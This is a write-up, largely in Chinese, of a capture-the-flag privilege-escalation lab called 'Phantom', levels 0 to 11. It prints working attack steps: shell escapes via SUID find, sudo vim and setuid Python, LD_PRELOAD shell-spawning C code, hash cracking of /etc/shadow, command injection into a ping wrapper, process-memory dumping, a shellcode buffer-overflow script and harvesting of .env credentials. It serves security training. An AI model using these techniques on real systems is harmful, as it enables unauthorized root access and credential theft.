Phantom
Act I — Escalation
00 Recon Gateway
[ Phantom · Level 0 ] Recon Gateway
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man7.org/linux/man-pages/man5/proc.5.html
https://man7.org/linux/man-pages/man1/uname.1.html
https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
简单枚举一下
phantom0@phantom:~$ ls -laih
total 40K
2316862 drwx------ 1 phantom0 phantom0 4.0K Apr 21 14:12 .
2376746 drwxr-xr-x 1 root root 4.0K Apr 21 11:17 ..
1436299 -rw-r--r-- 1 phantom0 phantom0 220 Jan 6 2022 .bash_logout
1436300 -rw-r--r-- 1 phantom0 phantom0 3.7K Jan 6 2022 .bashrc
2317632 drwx------ 2 phantom0 phantom0 4.0K Apr 21 14:12 .cache
1436298 -rw-r--r-- 1 phantom0 phantom0 807 Jan 6 2022 .profile
2315402 -rw-r--r-- 1 phantom0 phantom0 396 Apr 21 11:16 BRIEFING
phantom0@phantom:~$ cat BRIEFING
PHANTOM OPERATIVE — MISSION BRIEFING
====================================
You have shell access on a compromised host.
Before you escalate, you need to know where you are.
Objective: Full situational awareness.
- What OS and kernel version is this?
- Who else is on this box?
- What services are running?
- What defenses are active?
The flag is hidden somewhere only a thorough recon finds.
顺着题目要求,进行枚举
# What OS and kernel version is this?
phantom0@phantom:~$ uname -a
Linux phantom 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
phantom0@phantom:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 22.04.5 LTS
Release: 22.04
Codename: jammy
phantom0@phantom:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
# Who else is on this box?
phantom0@phantom:~$ who -a
phantom0@phantom:~$ w
14:31:46 up 1 day, 5:27, 0 users, load average: 0.06, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
phantom0@phantom:~$ last
last: cannot open /var/log/wtmp: Permission denied
# What services are running?
phantom0@phantom:~$ ss -tulpn
-bash: /usr/bin/ss: Permission denied
phantom0@phantom:~$ netstat -tulpn
-bash: /usr/bin/netstat: Permission denied
phantom0@phantom:~$ ps auxf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 15436 9396 ? Ss 14:01 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 20-100 startups
root 27 0.0 0.0 3888 2120 ? Ss 14:01 0:00 /usr/sbin/cron -P
root 31 0.0 0.0 7040 4144 ? S 14:01 0:00 runuser -u phantom8 -- python3 -c import sys, time secret = sys.stdin.readline().strip() sys.stdin.close() while True: time.sleep(60)
phantom8 36 0.0 0.0 13548 7888 ? S 14:01 0:00 \_ python3 -c import sys, time secret = sys.stdin.readline().strip() sys.stdin.close() while True: time.sleep(60)
root 32 0.0 0.1 13544 8000 ? S 14:01 0:00 python3 -c import time while True: time.sleep(60)
root 41 0.0 0.2 25516 19112 ? S 14:01 0:00 python3 /usr/local/bin/docker-socket-emulator.py unix:/var/run/docker.sock
root 42 0.0 0.2 25516 19016 ? S 14:01 0:00 python3 /usr/local/bin/docker-socket-emulator.py 0.0.0.0:2375
root 43 0.0 0.0 2792 1624 ? S 14:01 0:00 phantom-host-init infinity
root 60 0.0 0.0 4364 1720 ? S 14:01 0:00 /bin/bash /entrypoint.sh
root 1412 0.0 0.0 2792 1612 ? S 14:32 0:00 \_ sleep 30
root 127 0.0 0.1 16896 10912 ? Ss 14:01 0:00 sshd: phantom5 [priv]
phantom5 136 0.0 0.1 17168 8088 ? S 14:01 0:00 \_ sshd: phantom5@pts/1
phantom5 137 0.0 0.0 5048 4024 pts/1 Ss+ 14:01 0:00 \_ -bash
root 773 0.0 0.1 16896 10848 ? Ss 14:12 0:00 sshd: phantom0 [priv]
phantom0 778 0.0 0.1 18484 9524 ? S 14:12 0:00 \_ sshd: phantom0@pts/2
phantom0 779 0.0 0.0 5156 4160 pts/2 Ss+ 14:12 0:00 \_ -bash
root 1135 0.0 0.1 16896 10824 ? Ss 14:21 0:00 sshd: phantom5 [priv]
phantom5 1140 0.0 0.1 17168 8048 ? S 14:21 0:00 \_ sshd: phantom5@pts/0
phantom5 1141 0.0 0.0 4628 3924 pts/0 Ss+ 14:21 0:00 \_ -bash
root 1309 0.0 0.1 16896 10908 ? Ss 14:28 0:00 sshd: phantom0 [priv]
phantom0 1317 0.0 0.1 17168 8120 ? S 14:28 0:00 \_ sshd: phantom0@pts/3
phantom0 1318 0.0 0.0 5048 4096 pts/3 Ss 14:28 0:00 \_ -bash
phantom0 1420 0.0 0.0 7484 3288 pts/3 R+ 14:32 0:00 \_ ps auxf
phantom0@phantom:~$ systemctl list-units --type=service --state=running
System has not been booted with systemd as init system (PID 1). Can't operate.
Failed to connect to bus: Host is down
# What defenses are active?
# 权限不足
索性直接上 PEASS-ng 进行枚举,发现
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root phantom0 26 Apr 21 11:16 /opt/.phantom_l0_flag
查看文件内容
phantom0@phantom:/home/svc_webapp/.aws$ cat /opt/.phantom_l0_flag
bl_phtm0_**hidden**
01 SUID Hunter
[ Phantom · Level 1 ] SUID Hunter
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man7.org/linux/man-pages/man1/find.1.html
https://en.wikipedia.org/wiki/Setuid
https://book.hacktricks.xyz/linux-hardening/privilege-escalation
枚举一下
phantom1@phantom:~$ ls -laih
total 40K
2316863 drwx------ 1 phantom1 phantom1 4.0K Apr 21 14:56 .
2376746 drwxr-xr-x 1 root root 4.0K Apr 21 11:17 ..
2314702 -rw-r--r-- 1 phantom1 phantom1 220 Jan 6 2022 .bash_logout
2314703 -rw-r--r-- 1 phantom1 phantom1 3.7K Jan 6 2022 .bashrc
2317665 drwx------ 2 phantom1 phantom1 4.0K Apr 21 14:56 .cache
2314701 -rw-r--r-- 1 phantom1 phantom1 807 Jan 6 2022 .profile
2315431 -rw-r--r-- 1 phantom1 phantom1 219 Apr 21 11:16 BRIEFING
phantom1@phantom:~$ cat BRIEFING
MISSION: SUID Hunter
====================
Something on this system runs with more privilege than it should.
The flag belongs to another user. You cannot read it directly.
Find what has been misconfigured. Exploit it.
枚举一下 SUID
phantom1@phantom:~$ find / -perm -u=s -type f 2>/dev/null -exec ls -laih {} +
2315507 -rwsrwx--- 1 flagkeeper6 phantom6 66 Apr 21 14:01 /opt/maintenance/cleanup.sh
1442844 -rwsr-sr-x 1 daemon daemon 55K Apr 14 2022 /usr/bin/at
1285051 -rwsr-xr-x 1 root root 72K Feb 6 2024 /usr/bin/chfn
1285057 -rwsr-xr-x 1 root root 44K Feb 6 2024 /usr/bin/chsh
1285119 -rwsr-xr-x 1 root root 71K Feb 6 2024 /usr/bin/gpasswd
1285177 -rwsr-xr-x 1 root root 47K Mar 6 16:10 /usr/bin/mount
1285182 -rwsr-xr-x 1 root root 40K Feb 6 2024 /usr/bin/newgrp
1285193 -rwsr-xr-x 1 root root 59K Feb 6 2024 /usr/bin/passwd
1285257 -rwsr-xr-x 1 root root 55K Mar 6 16:10 /usr/bin/su
1441629 -rwsr-xr-x 1 root root 227K Mar 2 13:08 /usr/bin/sudo
1285283 -rwsr-xr-x 1 root root 35K Mar 6 16:10 /usr/bin/umount
1441059 -rwsr-xr-- 1 root messagebus 35K Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1438700 -rwsr-xr-x 1 root root 331K Mar 4 17:55 /usr/lib/openssh/ssh-keysign
2315609 -rwsr-x--- 1 flagkeeper9 phantom9 16K Apr 21 11:17 /usr/local/bin/kern-tool
2316599 -rwsr-x--- 1 root phantom22 17K Apr 21 11:17 /usr/local/bin/leaky-vessels
2315429 -rwsr-x--- 1 flagkeeper1 phantom1 276K Apr 21 11:16 /usr/local/bin/phantom-find
2315490 -rwsr-x--- 1 flagkeeper4 phantom4 5.7M Apr 21 11:16 /usr/local/bin/phantom-python3
2316853 -rwsr-x--x 1 root root 993K Apr 20 14:16 /usr/local/bin/phantom-verify
2315565 -rwsr-x--- 1 flagkeeper7 phantom7 16K Apr 21 11:16 /usr/local/bin/system-checker
结合当前用户,就能明白需要做什么
phantom1@phantom:/tmp$ /usr/local/bin/phantom-find . -exec /bin/sh -p \; -quit
$ whoami && id
flagkeeper1
uid=1001(phantom1) gid=1001(phantom1) euid=1011(flagkeeper1) groups=1001(phantom1)
$ ls -laih /home/flagkeeper1
total 28K
2316911 drwx------ 1 flagkeeper1 flagkeeper1 4.0K Apr 21 11:16 .
2376746 drwxr-xr-x 1 root root 4.0K Apr 21 11:17 ..
2315358 -rw-r--r-- 1 flagkeeper1 flagkeeper1 220 Jan 6 2022 .bash_logout
2315359 -rw-r--r-- 1 flagkeeper1 flagkeeper1 3.7K Jan 6 2022 .bashrc
2315357 -rw-r--r-- 1 flagkeeper1 flagkeeper1 807 Jan 6 2022 .profile
2315413 -rw------- 1 flagkeeper1 flagkeeper1 26 Apr 21 11:16 level1_flag
$ cat /home/flagkeeper1/level1_flag
bl_phtm1_**hidden**
02 Sudo Games
[ Phantom · Level 2 ] Sudo Games
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man.openbsd.org/sudoers.5
https://man.openbsd.org/sudo.8
查看说明
BRIEFING
MISSION: Sudo Games
===================
Someone gave you sudo rights. But not to everything, and not to root.
Check what you can run — and as whom. Then make it do something it
was not meant to.
FLAG: owned by the user you can pivot to. Once you have that UID,
standard enumeration ("find files owned by <user>") points to it.
先枚举一下 sudo
phantom2@phantom:~$ sudo -l
Matching Defaults entries for phantom2 on phantom:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User phantom2 may run the following commands on phantom:
(flagkeeper2) NOPASSWD: /usr/bin/vim
那也很简单了
phantom2@phantom:~$ sudo -u flagkeeper2 /usr/bin/vim
进入之后 ESC 输入 !sh 即可获得终端
$ whoami && id
flagkeeper2
uid=1012(flagkeeper2) gid=1012(flagkeeper2) groups=1012(flagkeeper2)
然后定位 flag 位置
$ find / -user flagkeeper2 -type f 2>/dev/null
......
/var/lib/phantom-flags/level2_flag
$ cat /var/lib/phantom-flags/level2_flag
bl_phtm2_**hidden**
03 Inheritance
[ Phantom · Level 3 ] Inheritance
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man7.org/linux/man-pages/man8/ld.so.8.html
https://man.openbsd.org/sudoers.5 (env_keep, env_reset)
查看说明
BRIEFING
MISSION: Inheritance
====================
You can run one harmless command as another user. Sudo is strict
about which command you may run — but not about everything it
inherits from your shell when it starts.
Figure out what sudo is letting through, and carry something
dangerous in with it. A C compiler is present on this box.
FLAG: owned by the user sudo lets you impersonate — not root.
那就是很经典的依赖库注入了
先枚举一下
phantom3@phantom:~$ sudo -l
Matching Defaults entries for phantom3 on phantom:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=LD_PRELOAD
User phantom3 may run the following commands on phantom:
(flagkeeper3) NOPASSWD: /usr/bin/id
构建攻击必要的库
phantom3@phantom:/tmp$ cat exploit.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
即可开始攻击
phantom3@phantom:/tmp$ gcc -fPIC -shared -o /tmp/pewpew.so exploit.c -nostartfiles
phantom3@phantom:/tmp$ sudo -u flagkeeper3 LD_PRELOAD=/tmp/pewpew.so /usr/bin/id
$ whoami && id
flagkeeper3
uid=1013(flagkeeper3) gid=1013(flagkeeper3) groups=1013(flagkeeper3)
然后定位 flag
$ find / -user flagkeeper3 -type f 2>/dev/null
......
/var/lib/phantom-flags/level3_flag
$ cat /var/lib/phantom-flags/level3_flag
bl_phtm3_**hidden**
04 Misplaced Power
[ Phantom · Level 4 ] Misplaced Power
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man7.org/linux/man-pages/man7/capabilities.7.html
https://man7.org/linux/man-pages/man8/getcap.8.html
查看说明
BRIEFING
MISSION: Misplaced Power
========================
Something on this system is a general-purpose interpreter that
should never have been shipped with SUID. It is NOT owned by
root — but it is owned by someone who can read more than you.
Enumerate the SUID binaries on this box. Understand which one
is out of place, and what it lets you do.
FLAG: owned by the same user as the misconfigured SUID binary.
枚举一下
phantom4@phantom:~$ find / -perm -u=s -type f 2>/dev/null -exec ls -laih {} + | grep phantom4
2315490 -rwsr-x--- 1 flagkeeper4 phantom4 5.7M Apr 21 11:16 /usr/local/bin/phantom-python3
那也很简单了
phantom4@phantom:~$ /usr/local/bin/phantom-python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
$ whoami && id
flagkeeper4
uid=1004(phantom4) gid=1004(phantom4) euid=1014(flagkeeper4) groups=1004(phantom4)
$ find / -user flagkeeper4 -type f 2>/dev/null
/home/flagkeeper4/.profile
/home/flagkeeper4/.bash_logout
/home/flagkeeper4/.bashrc
/usr/local/bin/phantom-python3
/var/lib/phantom-flags/level4_flag
$ cat /var/lib/phantom-flags/level4_flag
bl_phtm4_**hidden**
05 File Authority
[ Phantom · Level 5 ] File Authority
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man7.org/linux/man-pages/man5/shadow.5.html
https://manpages.debian.org/testing/passwd/groups.5.html
https://hashcat.net/wiki/doku.php?id=example_hashes
查看说明
BRIEFING
MISSION: File Authority
=======================
Your user belongs to an interesting group. Groups determine what
you can access. Some groups should never be given to regular users.
Check your groups. Understand what they allow. Read what you
should not be able to read. Crack it.
Root is locked on this box — the only crackable hash in the shadow
file belongs to a different account, which is also your pivot target
and owns the flag.
枚举一下当前权限
phantom5@phantom:~$ whoami && id
phantom5
uid=1005(phantom5) gid=1005(phantom5) groups=1005(phantom5),42(shadow)
一眼丁真
phantom5@phantom:~$ cat /etc/shadow | grep 5:
phantom5:$y$j9T$Ig3BCbHkNi8yl9pJZ1uWl1$lHYkb0f1sgjam0b94hg/gDS.yUNUQw2MaMhkqh.vE8B:20564:0:99999:7:::
flagkeeper4:$y$j9T$.s4/Eyt41dnG4RdhRDfjx/$/7Y5ok0ASn1mWqAzMSe4hrOZcSKlO6HX3NVxPsbqno5:20564:0:99999:7:::
flagkeeper5:$y$j9T$p8rSJLWKlEBBM8zDPlbPq/$eXDxIKbvDNvGd4gGN2rNZ5MfjMs3i2wAkfMnVaZAPY.:20564:0:99999:7:::
phantom15:$y$j9T$MTYX79iDYEl0f0Cspeah./$EkZanlQ6YctMR8PSeYJJ4pndsPcpYYPchwgqSXRnV.A:20564:0:99999:7:::
phantom25:$y$j9T$ql1jo8BXl3Qz59keGtwGr0$MAh/sjCkIiwSLaZ23YqDXFc5hEneQVtO60t9Y4hPvR5:20564:0:99999:7:::
尝试对 flagkeeper5 的哈希爆破一下
┌──(randark㉿kali)-[~/tmp]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess (?)
1g 0:00:00:00 DONE (2026-04-22 10:36) 3.846g/s 369.2p/s 369.2c/s 369.2C/s 123456..yellow
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
成功得到
flagkeeper5@phantom:~$ cat /var/lib/phantom-flags/level5_flag
bl_phtm5_**hidden**
06 Scheduled Sins
[ Phantom · Level 6 ] Scheduled Sins
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man7.org/linux/man-pages/man8/cron.8.html
https://man7.org/linux/man-pages/man5/crontab.5.html
查看说明
BRIEFING
MISSION: Scheduled Sins
=======================
Something runs on this box on a schedule. Every minute.
Find what it is, who runs it (hint: it is not root), and whether
you can change it.
Patience is part of the skill. Wait for it.
FLAG: owned by the user running the scheduled job.
不确定是不是预期解,但是解出来了就行
phantom6@phantom:~$ cat /opt/maintenance/cleanup.sh
#!/bin/bash
find /tmp -name "*.tmp" -mtime +1 -delete 2>/dev/null
phantom6@phantom:~$ find / -mmin -2 -type f 2>/dev/null | grep -v "/proc\|/sys"
/tmp/flag.txt
/var/log/bl-persistent/lastlog
/var/log/bl-persistent/wtmp
phantom6@phantom:~$ ls -laih /tmp/flag.txt
59991 -rw-rw-r-- 1 flagkeeper6 flagkeeper6 26 Apr 22 02:50 /tmp/flag.txt
phantom6@phantom:~$ cat /tmp/flag.txt
bl_phtm6_**hidden**
07 Local Authority
[ Phantom · Level 7 ] Local Authority
Full brief: cat ~/BRIEFING
────────── ───────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man7.org/linux/man-pages/man3/system.3.html
https://owasp.org/www-community/attacks/Command_Injection
查看说明
BRIEFING
MISSION: Local Authority
========================
A custom system utility runs with elevated privileges. It looks
safe. It takes a hostname argument and checks it.
Examine how it processes your input. What if the input is not a
hostname?
FLAG: owned by the user the SUID binary runs as (check `ls -l`
on the binary — it is not root).
先枚举一下 suid
phantom7@phantom:~$ find / -perm -u=s -type f 2>/dev/null -exec ls -laih {} + | grep flagkeeper7
4631 -rwsr-x--- 1 flagkeeper7 phantom7 16K Apr 21 16:45 /usr/local/bin/system-checker
phantom7@phantom:~$ file /usr/local/bin/system-checker
/usr/local/bin/system-checker: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=69f924e8d4d05cbddac82ec303cb6ff9149cbb05, for GNU/Linux 3.2.0, not stripped
将这个程序下到本地做反编译
int __fastcall main(int argc, const char **argv, const char **envp)
{
__uid_t v4; // ebx
__uid_t v5; // eax
char s[264]; // [rsp+20h] [rbp-120h] BYREF
unsigned __int64 v7; // [rsp+128h] [rbp-18h]
v7 = __readfsqword(0x28u);
if ( argc == 2 )
{
v4 = geteuid();
v5 = geteuid();
setreuid(v5, v4);
snprintf(s, 0x100u, "ping -c 1 %s 2>/dev/null", argv[1]);
printf("[*] Checking host: %s\n", argv[1]);
if ( system(s) )
puts("[-] Host is unreachable.");
else
puts("[+] Host is reachable.");
return 0;
}
else
{
puts("Usage: system-checker <hostname>");
puts("Checks if a host is reachable.");
return 1;
}
}
那就简单了
phantom7@phantom:~$ /usr/local/bin/system-checker "127.0.0.1; cat /var/lib/phantom-flags/level7_flag"
[*] Checking host: 127.0.0.1; cat /var/lib/phantom-flags/level7_flag
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.032 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.032/0.032/0.032/0.000 ms
bl_phtm7_**hidden**
[+] Host is reachable.
08 Live Injection
[ Phantom · Level 8 ] Live Injection
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://man7.org/linux/man-pages/man5/proc.5.html (environ, mem)
https://man7.org/linux/man-pages/man2/ptrace.2.html
https://sourceware.org/gdb/current/onlinedocs/gdb/
查看说明
BRIEFING
MISSION: Live Injection
=======================
A long-running process holds a secret in memory and never writes
it to disk. You can see the process via /proc and, with the right
capability, you can read what it is doing from the outside.
Memory is more honest than the filesystem. Read it.
The daemon runs as your own UID (phantom8) — /proc access is
same-uid, no root required.
枚举一下进程
phantom8@phantom:~$ ps aux | grep phantom8 | grep -v "grep\|bash\|ps"
root 30 0.0 0.0 7040 4240 ? S Apr21 0:00 runuser -u phantom8 -- python3 -c import sys, time, ctypes # yama ptrace_scope=1 on Ubuntu blocks same-uid ptrace attach unless the # tracee explicitly opts in via PR_SET_PTRACER (or scope=0 globally). The # container inherits the host's read-only /proc/sys/kernel/yama, so we # can't set scope=0 from the entrypoint. Opt in from inside the daemon: # PR_SET_PTRACER = 0x59616d61, PR_SET_PTRACER_ANY = (unsigned long)-1. libc = ctypes.CDLL(None) libc.prctl(0x59616d61, ctypes.c_ulong(-1).value, 0, 0, 0) secret = sys.stdin.readline().strip() sys.stdin.close() while True: time.sleep(60)
phantom8 35 0.0 0.1 13772 8576 ? S Apr21 0:00 python3 -c import sys, time, ctypes # yama ptrace_scope=1 on Ubuntu blocks same-uid ptrace attach unless the # tracee explicitly opts in via PR_SET_PTRACER (or scope=0 globally). The # container inherits the host's read-only /proc/sys/kernel/yama, so we # can't set scope=0 from the entrypoint. Opt in from inside the daemon: # PR_SET_PTRACER = 0x59616d61, PR_SET_PTRACER_ANY = (unsigned long)-1. libc = ctypes.CDLL(None) libc.prctl(0x59616d61, ctypes.c_ulong(-1).value, 0, 0, 0) secret = sys.stdin.readline().strip() sys.stdin.close() while True: time.sleep(60)
root 12040 0.0 0.0 7588 4976 pts/3 S 02:13 0:00 su - phantom8
root 42980 0.0 0.1 16892 10836 ? Ss 03:00 0:00 sshd: phantom8 [priv]
phantom8 42991 0.0 0.1 17316 8328 ? S 03:00 0:00 sshd: phantom8@pts/0
那也很简单,只需要转储完整进程,然后上 strings 就可以
# 附加到进程
gdb -p 13772
# 直接 dump 内存到文件进行分析
(gdb) generate-core-file /tmp/mem.bin
(gdb) quit
然后
phantom8@phantom:~$ strings /tmp/mem.bin | tail -n 10
pd|/
5|/
0h|/
@n|/
6}X%0
KSXE
5|/
CddJn
<module>
bl_phtm8_**hidden**
09 Stack Day
[ Phantom · Level 9 ] Stack Day
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://en.wikipedia.org/wiki/Buffer_overflow
https://github.com/slimm609/checksec.sh
https://ir0nstone.gitbook.io/notes/binexp
查看说明
BRIEFING
phantom9@phantom:~$ cat BRIEFING
MISSION: Stack Day
==================
A SUID diagnostic utility takes a single argument and copies it,
unchecked, into a fixed-size buffer. The binary is not owned by
root — it is owned by the same account that holds the flag, which
is all you need.
Enumerate the mitigations first, then write the rest. This is a
memory-corruption exercise at the userland level; kernel-CVE
exploitation lives in the Flux track.
gcc and gdb are available on this box.
首先
phantom9@phantom:~$ gdb -batch -ex 'break check_module' -ex 'run TEST' -ex 'printf "dest_addr: %p\n", $rbp-0x40' /usr/local/bin/kern-tool
Breakpoint 1 at 0x40117e
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[*] Kernel diagnostic tool v1.0
Breakpoint 1, 0x000000000040117e in check_module ()
dest_addr: 0x7ffd8e4affa0
但是远程环境中开了 ASLR 地址随机化
phantom9@phantom:/tmp$ gdb -q /usr/local/bin/kern-tool
Reading symbols from /usr/local/bin/kern-tool...
(No debugging symbols found in /usr/local/bin/kern-tool)
(gdb) run $(python3 -c "print('A'*72 + 'BBBBBBBB')")
Starting program: /usr/local/bin/kern-tool $(python3 -c "print('A'*72 + 'BBBBBBBB')")
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[*] Kernel diagnostic tool v1.0
[*] Checking kernel module: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
[-] Module not found.
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011c5 in check_module ()
感谢 雪殇 的 super-ccb-agent

#!/usr/bin/env python3
import subprocess
import sys
import os
FLAG_PATH = b"/var/lib/phantom-flags/level9_flag"
TIMEOUT = 3
# Create symlink /tmp/f -> flag (for fallback)
try:
os.symlink(FLAG_PATH.decode(), "/tmp/f")
except FileExistsError:
pass
# 64-byte shellcode: chmod('/var/lib/phantom-flags/level9_flag', 0644)
# After success, flag becomes world-readable and we can cat it directly.
# jmp/call/pop, no null bytes, exactly 64 bytes.
SHELLCODE = bytes.fromhex(
"eb175f31c088472231f666bea401b05a0f056a3c5831ff0f05"
"e8e4ffffff2f7661722f6c69622f7068616e746f6d2d666c6167732f6c6576656c395f666c6167"
)
assert len(SHELLCODE) == 64, f"shellcode len={len(SHELLCODE)}"
PAYLOAD = SHELLCODE
def main():
attempts = int(sys.argv[1]) if len(sys.argv) > 1 else 64
for i in range(1, attempts + 1):
try:
p = subprocess.run(
[b"/usr/local/bin/kern-tool", PAYLOAD],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=TIMEOUT,
)
except subprocess.TimeoutExpired as e:
out = e.stdout or b""
sys.stdout.buffer.write(b"=== attempt %d TIMEOUT ===\n" % i)
sys.stdout.buffer.write(out[:800])
sys.stdout.buffer.flush()
if b"flagkeeper9" in out or b"flag{" in out or b"phantom" in out:
return
continue
out = p.stdout
sys.stdout.buffer.write(b"=== attempt %d rc=%d ===\n" % (i, p.returncode))
sys.stdout.buffer.write(out[:800])
sys.stdout.buffer.flush()
if p.returncode == 0 and b"Module not found" not in out:
# shellcode ran (not normal kern-tool exit)
sys.stdout.buffer.write(b"[+] shellcode executed!\n")
sys.stdout.buffer.flush()
# Try to read the flag now
try:
flag = open(FLAG_PATH.decode()).read()
sys.stdout.buffer.write(b"FLAG: " + flag.encode())
sys.stdout.buffer.flush()
except Exception as e:
sys.stdout.buffer.write(f"[-] read flag failed: {e}\n".encode())
return
if b"flagkeeper9" in out and FLAG_PATH in out:
return
if b"flag{" in out or b"FLAG{" in out or b"phantom" in out or b"bl_phtm9" in out:
return
if __name__ == "__main__":
main()
10 The Harvest
[ Phantom · Level 10 ] The Harvest
Full brief: cat ~/BRIEFING
─────────────────────────────────────────── ──
If you're stuck — read up on the topic, then come back:
https://github.com/trufflesecurity/trufflehog
https://blog.gitguardian.com/secrets-in-shell-history/
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html
查看说明
BRIEFING
MISSION: The Harvest
===================
You are root on this box. But root on one machine is nothing.
The real value is what this machine knows about OTHER systems.
Find every credential on this box: passwords, tokens, keys, secrets.
One of them is the flag for the next level.
Check: history files, config files, environment variables,
SSH keys, application configs, process memory.
在使用 PEASS-ng 进行探测的时候,发现
╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 root root 146 Apr 21 11:17 /opt/webapp/.env
DB_HOST=db.internal
DB_USER=webapp
DB_PASS=bl_phtm10_**hidden**
DB_NAME=production
REDIS_URL=redis://localhost:6379
SECRET_KEY=a1b2c3d4e5f6
11 Token Hunter
[ Phantom · Level 11 ] Token Hunter
Full brief: cat ~/BRIEFING
─────────────────────────────────────────────
If you're stuck — read up on the topic, then come back:
https://jwt.io/introduction
https://docs.aws.amazon.com/sdkref/latest/guide/file-format.html
https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/
查看说明
BRIEFING
phantom11@phantom:~$ cat BRIEFING
MISSION: Token Hunter
====================
Credentials are not just passwords. Modern systems use tokens.
JWT, API keys, cloud credentials, service account tokens.
This machine connects to cloud services and internal APIs.
Find every token. Decode what you can. One token is the flag.
枚举一下环境
phantom11@phantom:~$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IkN1OHRBS0g3T0k2dHlhYjd3In0.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6ZGVmYXVsdCJ9.FAKE_TOKEN
phantom11@phantom:~$ ls -laih ~/.aws/
ls: cannot access '/home/phantom11/.aws/': No such file or directory
使用 PEASS-ng 进行枚举后,注意到
╔══════════╣ Analyzing Env Files (limit 70)
-rw-r----- 1 root phantom10 146 Apr 22 21:38 /opt/webapp/.env
-rw-r----- 1 root phantom11 36 Apr 22 21:38 /opt/webapp/repo/.env
APP_SECRET=REDACTED
DB_URL=REDACTED